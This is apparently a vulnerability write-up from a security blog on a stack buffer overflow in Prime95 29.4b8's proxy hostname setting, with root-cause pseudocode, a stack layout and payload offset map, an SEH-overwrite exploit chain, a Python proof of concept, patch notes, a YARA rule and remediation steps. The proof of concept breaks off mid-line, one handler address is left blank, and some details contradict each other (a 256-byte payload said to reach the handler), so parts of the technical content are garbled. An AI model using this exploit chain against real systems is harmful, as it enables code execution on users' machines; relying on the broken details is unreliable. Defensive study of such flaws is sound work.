home intel prime95-29-4b8-seh-buffer-overflow-rce
CVE Analysis 2026-04-29 · 8 min read

CVE-2018-25299: Prime95 29.4b8 SEH Buffer Overflow via Proxy Hostname

Prime95 29.4b8 contains a stack buffer overflow in PrimeNet proxy hostname parsing. An attacker-controlled hostname field overwrites SEH chain pointers, enabling arbitrary code execution.

#buffer-overflow#seh-exploit#arbitrary-code-execution#local-privilege-escalation#proxy-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2018-25299 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2018-25299Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

Prime95 29.4b8, the widely-used GIMPS distributed computing client, contains a stack-based buffer overflow reachable through the optional proxy hostname field in its PrimeNet connection settings dialog. The overflow is deep enough to clobber the structured exception handling (SEH) chain on the stack, providing a classic SEH-overwrite code execution primitive on Windows x86 builds. CVSS 8.4 (HIGH) reflects local attack surface with high integrity/confidentiality impact and no privileges required beyond the ability to write application configuration.

This is not a network-side vulnerability. The attacker must control the value written into Prime95's configuration — either by social engineering a user into pasting a crafted hostname, by writing directly to prime.ini, or by providing a malicious configuration file. On systems where multiple users share a GIMPS installation or where the ini file is world-writable, the effective attack surface widens.

Root cause: strcpy (or equivalent unbounded copy) into a fixed-size stack buffer during proxy hostname parsing in Prime95's PrimeNet settings handler, with no length validation, allowing overflow of the SEH chain and redirection of execution to attacker-controlled shellcode.

Affected Component

The vulnerable path is inside the PrimeNet options handling code, specifically the routine responsible for reading and validating the proxy server hostname from prime.ini or the settings dialog. Prime95 29.4b8 is the confirmed affected release. The Windows x86 (32-bit) build is most directly exploitable due to SEH chain layout on the stack; Linux/macOS builds using signal handlers rather than Windows SEH are affected by the overflow itself but the exploitation path differs.

Relevant binary artifacts:

  • prime95.exe — Windows 32-bit GUI client, 29.4b8
  • mprime — Linux CLI client, same codebase, overflow present
  • Configuration file: prime.ini, key ProxyHost=

Root Cause Analysis

The proxy hostname is read from prime.ini and passed through a settings-parsing routine before being copied into a stack-allocated buffer for use in socket connection setup. Decompiled pseudocode of the vulnerable function:


// Prime95 29.4b8 — PrimeNet connection setup
// Function: LoadPrimeNetConfig() / proxy_connect_init()
// Located in: network.c (approximate, pre-open-source era)

#define PROXY_HOST_BUF  256   // fixed stack allocation

int proxy_connect_init(const char *ini_path) {
    char proxy_host[PROXY_HOST_BUF];   // stack buffer, [ebp-0x108] approx
    char proxy_port[16];
    char proxy_user[128];
    int  use_proxy;

    use_proxy = IniGetInt(INI_FILE, "ProxyHost", 0);

    // BUG: IniGetString copies attacker-controlled value with no length limit
    // into fixed 256-byte stack buffer — strcpy semantics, no bounds check
    IniGetString(INI_FILE, "ProxyHost", proxy_host, /* maxlen arg absent or ignored */ 0);
    //                                  ^^^^^^^^^^ destination is 256 bytes
    //                                             source can be arbitrarily long

    IniGetString(INI_FILE, "ProxyPort", proxy_port, sizeof(proxy_port));
    // ... rest of setup
    return connect_via_proxy(proxy_host, atoi(proxy_port));
}

IniGetString internally calls GetPrivateProfileString on Windows (or a custom parser on Linux) and then performs an unbounded strcpy into the caller-supplied buffer when the maxlen argument is zero or the wrapper omits the guard. The result is a classic stack smash: any ProxyHost value longer than ~256 bytes walks off the buffer and into adjacent stack frames.

Memory Layout

On Windows x86, the stack frame during proxy_connect_init looks like this. SEH chain records sit at a predictable offset above the local buffers:


STACK FRAME LAYOUT (x86, Windows, proxy_connect_init):

  [ebp - 0x114]  proxy_port[16]         // 16 bytes
  [ebp - 0x108]  proxy_host[256]        // 256 bytes  <-- write starts here
  [ebp - 0x008]  proxy_user[128]        // 128 bytes (partial overlap path)
  [ebp + 0x000]  saved EBP              // 4 bytes
  [ebp + 0x004]  saved EIP (ret addr)   // 4 bytes
  [ebp + 0x008]  ... caller frame ...

  SEH CHAIN (on stack, above local vars):
  [ebp + 0x00C]  _EXCEPTION_REGISTRATION.Next   // ptr to next SEH record
  [ebp + 0x010]  _EXCEPTION_REGISTRATION.Handler // ptr to exception handler
                                                  // <-- overwrite target

BEFORE OVERFLOW (256 bytes, benign hostname):
  proxy_host:  "legitimate.proxy.example.com\x00[...padding...]"
  saved EBP:   0x0018FF80  (valid frame pointer)
  saved EIP:   0x004A1234  (return to caller)
  SEH.Next:    0x0018FFB0  (valid chain link)
  SEH.Handler: 0x004B5678  (legitimate handler)

AFTER OVERFLOW (512+ byte payload):
  proxy_host:  "AAAA...AAAA"             // 256 bytes fill buffer
               + "BBBB"                  // overwrite saved EBP
               + "CCCC"                  // overwrite saved EIP
               + "DDDDDDDD"             // walk to SEH record
  SEH.Next:    0x42424242  (attacker-controlled: "BBBB" at offset ~268)
  SEH.Handler: 0x            // pivot to shellcode

PAYLOAD OFFSET MAP (empirical, 29.4b8 x86 release build):

  Offset   0  –  255  : proxy_host[] fill ('A' * 256)
  Offset 256  –  259  : saved EBP overwrite
  Offset 260  –  263  : saved EIP overwrite
  Offset 264  –  267  : SEH record .Next pointer
  Offset 268  –  271  : SEH record .Handler pointer  <-- key control
  Offset 272+         : NOP sled / shellcode

Exploitation Mechanics

Classic SEH-based exploitation on a 32-bit Windows target without SafeSEH coverage of the affected module (or using a non-SafeSEH DLL as the handler gadget source):


EXPLOIT CHAIN:

1. Attacker writes crafted prime.ini (or modifies existing one):
      ProxyHost=<256 bytes junk>

2. Prime95 launches and calls proxy_connect_init() on startup
   or when user opens PrimeNet options dialog.

3. IniGetString() reads ProxyHost value, performs unbounded strcpy
   into proxy_host[256] on stack — overflow occurs immediately.

4. Function returns normally OR an exception is triggered by the
   corrupted stack during cleanup / argument validation downstream.

5. If exception fires: Windows walks the SEH chain, finds the
   attacker-controlled _EXCEPTION_REGISTRATION record on the stack.
   SEH.Handler is called with ptr to EXCEPTION_RECORD and
   EstablisherFrame.

6. SEH.Handler points to a "POP POP RET" gadget in a loaded module
   (e.g., non-SafeSEH runtime DLL):
      POP  reg1          ; discard ExceptionRecord ptr
      POP  reg2          ; discard EstablisherFrame ptr
      RET                ; return to address on stack = SEH.Next
                         ; SEH.Next was set to \xEB\x06\x90\x90
                         ; (short JMP +6 past the handler ptr)

7. Short JMP lands in NOP sled immediately following the SEH record.

8. NOP sled reaches shellcode — arbitrary code executes in the
   security context of the Prime95 process (typically the logged-in user).

9. Example payload: cmd.exe /c calc.exe  (PoC)
   Production payload: reverse shell, persistence dropper, etc.

The POP POP RET gadget approach is necessary because Windows exception dispatch calls the handler with two arguments on the stack; the gadget pivots execution back to SEH.Next, which is repurposed as a short jump to shellcode. Any loaded module lacking /SAFESEH or /DYNAMICBASE is a candidate gadget source — common in legacy GIMPS builds which link against older CRT versions.


# CVE-2018-25299 — Prime95 29.4b8 SEH overwrite PoC (Windows x86)
# For research and detection purposes only.

import struct

# POP POP RET gadget — must come from a non-SafeSEH module loaded by prime95
# Replace with actual address from target environment
PPR_GADGET = struct.pack("

Patch Analysis

The fix is straightforward: enforce a maximum length when copying the ini value into the stack buffer. Post-29.4b8 versions pass the buffer size explicitly to IniGetString which then uses strncpy or GetPrivateProfileString's built-in nSize parameter correctly:


// BEFORE (vulnerable, Prime95 29.4b8):
IniGetString(INI_FILE, "ProxyHost", proxy_host, 0);
//                                               ^ zero = no length enforcement
//   internally: strcpy(dest, src) — unbounded

// AFTER (patched):
IniGetString(INI_FILE, "ProxyHost", proxy_host, sizeof(proxy_host));
//                                               ^^^^^^^^^^^^^^^^^^
//   internally: GetPrivateProfileStringA(section, key, default,
//                   proxy_host, sizeof(proxy_host), ini_path);
//   Windows API enforces nSize — truncates at 255 chars + NUL terminator

// Additional defensive change in IniGetString wrapper:
void IniGetString(const char *file, const char *key,
                  char *buf, size_t bufsz) {
    if (bufsz == 0) return;   // guard against legacy callers
    GetPrivateProfileStringA("PrimeNet", key, "", buf, (DWORD)bufsz, file);
    buf[bufsz - 1] = '\0';    // belt-and-suspenders NUL termination
}

The patch also adds input validation in the settings dialog UI: the proxy hostname edit control is now limited to 255 characters via SendMessage(hwnd, EM_SETLIMITTEXT, 255, 0), providing a second layer of defense for interactive use. This does not protect against direct prime.ini manipulation, making the IniGetString fix the load-bearing change.

Detection and Indicators

Static detection on prime.ini:

  • ProxyHost value exceeding 255 characters is anomalous — no legitimate hostname approaches this length.
  • Non-printable bytes or binary sequences in ProxyHost are definitive indicators of tampering.

Runtime detection:

  • Any crash of prime95.exe with EIP or SEH.Handler containing 0x41414141/0x42424242 patterns indicates active exploitation attempt.
  • Windows Event Log: Application Error, faulting module prime95.exe, exception code 0xC0000005 (ACCESS_VIOLATION) with offset pointing outside known code sections.
  • File integrity monitoring on prime.ini: alert on modifications where ProxyHost field length > 64 bytes.

YARA RULE (prime.ini artifact):

rule CVE_2018_25299_PrimeINI_Payload {
    meta:
        description = "Detects CVE-2018-25299 exploit payload in prime.ini"
        cve         = "CVE-2018-25299"
    strings:
        $key = "ProxyHost=" nocase
        // SEH.Next short-JMP pattern common in SEH overwrites
        $seh_jmp = { EB 06 90 90 }
        // Repeated junk fill patterns
        $fill_a = { 41 41 41 41 41 41 41 41 41 41 41 41 }
    condition:
        $key and ($seh_jmp or ($fill_a and filesize < 4096))
}

Remediation

  • Upgrade immediately to the latest Prime95/mprime release. The vendor addressed this in versions beyond 29.4b8 — check the GIMPS download page for current build.
  • Restrict prime.ini permissions to the owning user account (icacls prime.ini /inheritance:r /grant %USERNAME%:F on Windows). Prevent other local users from modifying the configuration file directly.
  • Validate existing configurations: audit ProxyHost entries in any deployed prime.ini files. Flag any value longer than 64 characters for manual review.
  • Enable ASLR/DEP: while present in modern Windows, verify Prime95 is launched under full DEP policy (OptOut or per-process opt-in) which raises the exploitation bar significantly even on unpatched builds.
  • For managed GIMPS deployments, distribute configuration via controlled channels and use file integrity monitoring to detect unauthorized prime.ini modification.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →